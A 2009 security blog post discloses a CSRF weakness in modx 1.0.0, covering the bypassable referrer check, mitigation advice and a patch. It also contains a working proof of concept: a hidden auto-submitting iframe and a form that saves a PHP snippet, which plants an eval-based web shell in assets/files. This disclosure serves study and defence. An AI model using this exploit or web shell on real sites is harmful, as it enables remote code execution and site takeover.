Arbitrary PHP code execution in modx 1.0.0 via CSRF
Heine —Tue, 2009/09/08 - 23:32
When someone mentioned that modx was the new Drupal, I got curious and decided to see for myself.
The cursory exploration got a little more involved when I noticed that, by default, modx doesn't enable any protection against Cross site request forgeries (CSRF). I discovered this by using CSRF to get the administrator password changed. Turns out this is already known since 2008.
After some more digging, I found ticket MODX-206 (registration required), where an HTTP_REFERER check was added as a form of protecting against CSRF.
This option is disabled by default; you need to visit Tools - Configuration :: Site tab to enable the setting Validate HTTP_REFERER headers?. (Note: This can prove to be painful when you run ZoneAlarm, or something else that strips referrers from headers). The setting appears to be documented on a forum post only.
Unfortunately, the HTTP_REFERER check only checks whether the modx site url is part of the referrer. That means that the referrer http://evil.example.com/payload.html?s=http://vulnerable-modx.example.com/ passes the check.
I've spoken with a number of modx developers and they told me a number of 'forms' react to GET requests as well. That means that even when the referrer check is fixed, a modx 1.0.0 site is still vulnerable to CSRF when users are allowed to post URLs on your site as they could post a URL to your own site. If you happen to follow one such URL while being logged in as manager, the referrer checker receives a correct HTTP_REFERER and takes the unintended action.
Until a list of GET-able actions is compiled, it is hard to estimate the impact of this issue.
Beware that malicious users can make it less obvious that you target your own site by using tinyURL or a custom (less obvious) 301 redirector.
A full solution (works with GET, works for people without HTTP_REFERER) would be to add a token to every form and GET request (taking an action), then check those on the actual GET and POST requests.
Due to the way modx 1.0.0 ("Evolution") is build, that is a monumental task and not something the developers are interested in or have time for. They are working hard on the next installment of modx ; Revolution.
Considering the situation with Evolution, I can only advise you to wait until Revolution is released before starting with modx on internet-facing servers.
If you are already using modx 1.0.0, you are in a tight spot. I urge you to deploy and enable the referrer check fix asap after it is released. Do not allow users to post URLs or images on your site (depends on your site configuration) and upgrade to Revolution when it comes out.
If you want, you can try the attached patch for modx 1.0.0.
IMO, and I'm sure in the opinion of the modx developers too, the Evolution code base cannot die quickly enough.
Proof of concept
The proof of concept dumps the file exploit.php in assets/files (normally writable). This file evaluates PHP code given to it via the query variable q.
The exploit works by getting the modx manager to post a Snippet ("php code") with the option "runsnippet" checked. After the snippet is saved, it is evaluated, and then creates the exploit.php file for later use.
Exploit.html serves as the attacker-controlled, innocent looking page a victim is viewing. It loads payload.html via an invisible iframe and submits the snippet form with chosen values to the target website. The listing only show the interesting parts, if you want to try the poc, please make a valid HTML document yourself.
Edited to add: All the victim has to do is visit exploit.html while being logged into the manager. The victim doesn't need to post a snippet or do anything else; viewing the exploit page is enough.
exploit.html
Note: replace the s parameter on the iframe source
(payload.html?s=http://vulnerable.example.com/)
with the URL of the site to fool the HTTP_REFERER check if needed.
form #action in payload.html points to the vulnerable site.
</p>
<script>
function payload_submit() {
window.frames['payload'].document.forms['mutate'].submit();
}
</script>
<iframe name="payload" src ="/payload.html?s=http://vulnerable.example.com/" style="width:0px; height:0px; border: 0px" onload="payload_submit()">
</iframe>
payload.html
<input type="hidden" name="id" value="">
<input type="hidden" name="mode" value="23">
<input name="name" type="text" maxlength="100" value="exploit">
<input name="description" type="text" maxlength="255" value="">
<input style="padding:0;margin:0;" name="runsnippet" type="checkbox" checked="checked"/>
<input style="padding:0;margin:0;" name="locked" type="checkbox">
<textarea dir="ltr" name="post">
<?php
/**
* @name exploit
* @version 1.0
* @author Heine
* @license Public Domain, use as you like.
*
* @example [[exploit?]]
*
* @example [[exploit?]]
*/
$data = "\x3c?php eval(\$_GET['q']); ?\x3e";
$fp = fopen('./../assets/files/exploit.php', 'w');
fwrite($fp, $data);
fclose($fp);
return $id;
?>
</textarea>
<input type="submit" name="Submit+Query" />
</form>
I will postpone my judgement on modx until I've had a chance to play with Revolution.
PS I've asked Jason Coward before posting this and he's ok with it.
| Attachment | Size |
|---|---|
 modx-referrer-check.patch | 553 bytes |
Comments
Thanks
Submitted by Ryan Thrash (not verified) on Wed, 2009/09/09 - 09:29Thanks for taking the time to point out some areas in MODx that can be improved. (And will!)
interesting post. important
Submitted by Anonymous (not verified) on Tue, 2009/12/29 - 03:05interesting post. important info for modx evo and in general.